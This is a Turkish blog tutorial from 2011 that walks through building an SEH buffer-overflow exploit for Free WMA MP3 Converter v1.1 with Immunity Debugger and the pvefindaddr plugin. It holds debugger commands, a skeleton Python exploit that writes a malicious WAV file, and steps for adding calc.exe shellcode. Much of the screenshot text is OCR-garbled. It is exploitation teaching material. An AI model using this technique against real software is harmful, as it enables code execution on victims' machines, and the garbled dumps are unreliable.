## 5 Dakikada SEH İstismar Aracı (Exploit) Hazırlama

## written by Mert SARICA | 19 July 2011

Yazılarımı takip edenleriniz daha önce SEH İstismarını konu olan bir yazı yazdığımı hatırlayacaktır. Bugünkü yazımda SEH istismar aracının Immunity Debugger üzerinde çalışan pvefindaddr.py eklentisi ile nasıl kısa bir süre içinde hazırlanabileceğini göreceğiz.

Immunity Debugger, istismar aracı (exploit) hazırlamak, zararlı yazılım (malware) analizi ve tersine mühendislik yapmak isteyenler için oldukça başarılı bir hata ayıklama (debugger) aracıdır. Sade ve anlaşılır arayüzü, komut satırı desteği ve Python ile betik (script) hazırlamaya imkan tanıyan desteği sayesinde masaüstümün vazgeçilmezleri arasında yer almaktadır.

pvefindaddr.py eklentisi, Peter Van Eeckhoutte tarafından istismar aracı hazırlamak için özel olarak tasarlanmış ve içinde patern oluşturmaktan otomatik istismar kodu şablonu oluşturmaya kadar bir çok özelliğe sahiptir. Eklentinin kullanımı ile ilgili detaylı bilgiye buradan ulaşabilirsiniz.

Adımlara geçmeden önce ilk olarak sisteminizde yüklü olan Immunity Debugger aracı için pvefindaddr.py aracını buradan indirerek C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands klasörü altına kopyalayın.

İstismar edilecek araç olarak daha önceki yazımda adı geçen Free WMA MP3 Converter v1.1 aracını kullanacağız.

Immunity Debugger aracını çalıştırdıktan sonra File -> Open menüsünden C:\Program Files\Free WMA MP3 Converter\Wmpcon.exe aracını seçelim ve Open butonuna basalım. F9 tuşuna basarak programı çalıştıralım. Komut satırında !pvefindaddr pattern\_create 5000 yazarak 5000 bayt büyüklüğünde bir patern oluşturalım. Oluşturulan patern C:\Program Files\Immunity Inc\Immunity Debugger\mspattern.txt dosyası olarak kayıt edilmektedir.

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!pvefindaddr pattern_create 5000	
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<b>B mspattern.txt - Notepad</b>	<u>- X</u>
mspattern.txt - Notepad      File Edit Format View Help      Output generated by pvefindaddr v2.0.13     corelanc0d3r - http://www.corelan.be:8800	
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mspattern.txt - Notepad         File Edit Format View Help         Output generated by pvefindaddr v2.0.13 corelanc0d3r - http://www.corelan.be:8800         OS : xp, release 5.1.2600         2011-04-07 01:18:46         Cyclic pattern of 5000 characters : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ac1Bit1812bi315i146158166178188198109Bi1051159136146158169186178188198109Bi10511262364C43C536c467C488Ac9Ad0Ac1Bi22G36q4Cq5Cq66cq7Cq8Cq9cr0crlcr2cr3cr4cr5cr6cr7cr8cr9cs0cs1cs2cs3cs4cs5cs6cs7cs8cs9ct0ct1ct2ct36 204Q5Cg66Q7Cq8Cq9cr0crlcr2cr3cr4cr5cr6cr7cr8cr9cs0cs1cs2cs3cs4cs5cs6cs7cs8cs9ct0ct1ct2ct36 204Q50y60y7Dy8by90200210220230z40z50z60z7Dz80z9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0eb1Eb2Eb3Eb4E1 235Fg6Fg7Fg8Fg9Fh0Fh1Eh2Eh3Fh4Eh5Fh6Fh7Fh8Fh9F10F11E12F13F14F15F16F17F18F19Fj0Fj1Ej2Fj3Fj4Fj5Fj0	11A 2B1 244 55E 56Fj

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"exp.py - C:Wocuments and Settings\Administrator\Wesktop\exp.py"
File Edit Format Run Options Windows Help
# SEH Exploitation Tutorial
# Author: Mert SARICA
# E-mail: mert [ ] sarica [ 0 ] gmail [ . ] com
# URL: http://www.mertsarica.com
# This tool is provided for educational purposes only, use at your own risk
exp = "AaOAaiAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbOAbiAb2Ab3Ab4Ab5Ab6Ab7Ab8Ab9AcOAciAc2Ac3Ac4Ac5Ac6Ac7Ac8Ac?
wav = open("MS.wav", "w");
wav.close();
|
Ln:11Cot.0
Ln:11Cot.0
```

Dosyanın içindeki paterni taslak halde olan istismar aracımıza (exp.py) kopyaladıktan sonra çalıştırarak WMA MP3 Converter programında yer alan hatayı/zafiyeti tetikleyecek WAV uzantılı dosyayı (MS.wav) oluşturalım.

WMA MP3 Converter programında yer alan WAV to MP3 butonuna basarak MS.wav dosyasını seçelim ve Immunity Debugger aracı üzerinde Access Violation hatası ile karşılaştıktan sonra komut satırında !pvefindaddr suggest yazarak eklenti tarafından bize önerilen istismar aracı oluşturma şablonunu görüntüleyelim. (Önerilen kod Perl diline yönelik olduğu için bu kodu Python koduna çevirmemiz gerekecektir.)

🐴 Immunity Debugger - Wmpcor	1.exe - [CPU - main thre	ad, module Wmpcon]	
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Modules C:\Program Files\	Unlocker\UnlockerH	ook.dll	Running

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Registers (FPU)       < < < <         EAX 00000000       ECX 0000012C         EDX 0000112C       EDX 0000112C         EDX 000012C       EDX 000012C         EDX 000012C       EDX 000012C         EDX 000012C       EDX 000012C         EDX 000012C       EDX 000012C         EDX 0107FE8       ASCII "Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3F         EDY 1767443567       EDI 176744366         EIP 316846300       C 0 ES 0023 32bit 0(FFFFFFFF)         C 1 SS 0023 32bit 0(FFFFFFFF)       A 1 SS 0023 32bit 0(FFFFFFFF)         C 0 SS 0000 NULL       D 0         D 0 0 0 0 4LastErr ERROR_NOACCESS (000003E6)         EFL 00010216 (N0,NB,NE,A,NS,PE,GE,G)         ST10 empty 2.3033431761084975000e=-308         ST12 empty 2.303343176108497703748000e+251         ST35 empty 5.244263720777252000e+251         ST44 empty 1.5522009643351645000e=-312         ST6 empty 2.7591173225342840000e=-308         ST6 empty 2.7591173225342840000e=-308         ST6 empty 2.7591173225342840000e=-308         ST6 empty 2.7591173225342840000e=-312         ST6 empty 2.7591173225342840000e=-312         ST6 empty 2.759117322577816659107300e=-312         ST6 empty 2.7591778165000e=-312         ST6 empty 2.7591778165000e=-312         ST6 empty 2.75977816651074000e=	i4F
Address       Hex dump       ASCII       0190FEE8       44326846       Fh2F Pointer to next SEH record         00405600       00	<    >



Karşımıza çıkan yönergelerde istismar aracının başarıyla çalışabilmesi için POP POP RET adresine ve kabuk koduna (shellcode) ihtiyacımız olduğu belirtildiği için komut satırında öncelikle !pvefindaddr p -n yazarak SAFESEH'in devre dışı olduğu bir DLL'de yer alan POP POP RET adresi bularak istismar aracımızın iskeletini oluşturmaya devam edelim.

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Address       Hex dump       ASCII         00406000       00       00       00       00       00       00       00       0190000       0190000       0190000       01900000       01900000       019000000       019000000       0190000000       01900000000000000000000000000000000000	er to next SEH record
Found 2062 address(es) (Check the Log Windows for details)	Paused
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Address Message	^
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Deprint       Found ending with RET 00, now filtering results         0BADF000       * 0 pointers found ending with RET 00, now filtering results         0BADF000       * 0 pointers found ending with RET 10, now filtering results         0BADF000       * 0 pointers found ending with RET 12, now filtering results         0BADF000       * 0 pointers found ending with RET 12, now filtering results         0BADF000       * 1 pointers found ending with RET 00, now filtering results         0BADF000       * 0 pointers found ending with RET 00, now filtering results         0BADF000       * 0 pointers found ending with RET 10, now filtering results         0BADF000       * 0 pointers found ending with RET 12, now filtering results         0BADF000       * 0 pointers found ending with RET 12, now filtering results         0BADF000       * 0 pointers found ending with RET 12, now filtering results         0BADF000       * 0 pointers found ending with RET 12, now filtering results         0BADF000       * 0 pointers found ending with RET 10, now filtering results         0BADF000       * 0 pointers found ending with RET 10, now filtering results         0BADF000       * 0 pointers found ending with RET 12, now filtering results         0BADF000       * 0 pointers found ending with RET 12, now filtering results         0BADF000       * 0 pointers found ending with RET 12, now filtering	
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Son olarak hesap makinasını (calc.exe) çalıştıracak kabuk kodunu (shellcode) ister Metasploit ile oluşturarak ister herhangi bir istismar aracından kopyalayarak şablonda ilgili yere kopyalayarak iskeleti tamamlayalım ve istismar aracını çalıştırarak zafiyeti istismar eden WAV dosyasını oluşturalım. WMA MP3 Converter programını çalıştırdıktan sonra MP3 butonuna basarak istismar aracımız tarafından oluşturulan yeni MS.wav dosyasını seçtiğimizde hesap makinası karşımıza çıkacak ve mutlu sona ulaştığımızı göreceğiz.

Askere gitmeden önce hazırlamış olduğum yaylalar yazı dizisinin dördüncüsü burada son bulurken herkese güvenli günler dilerim.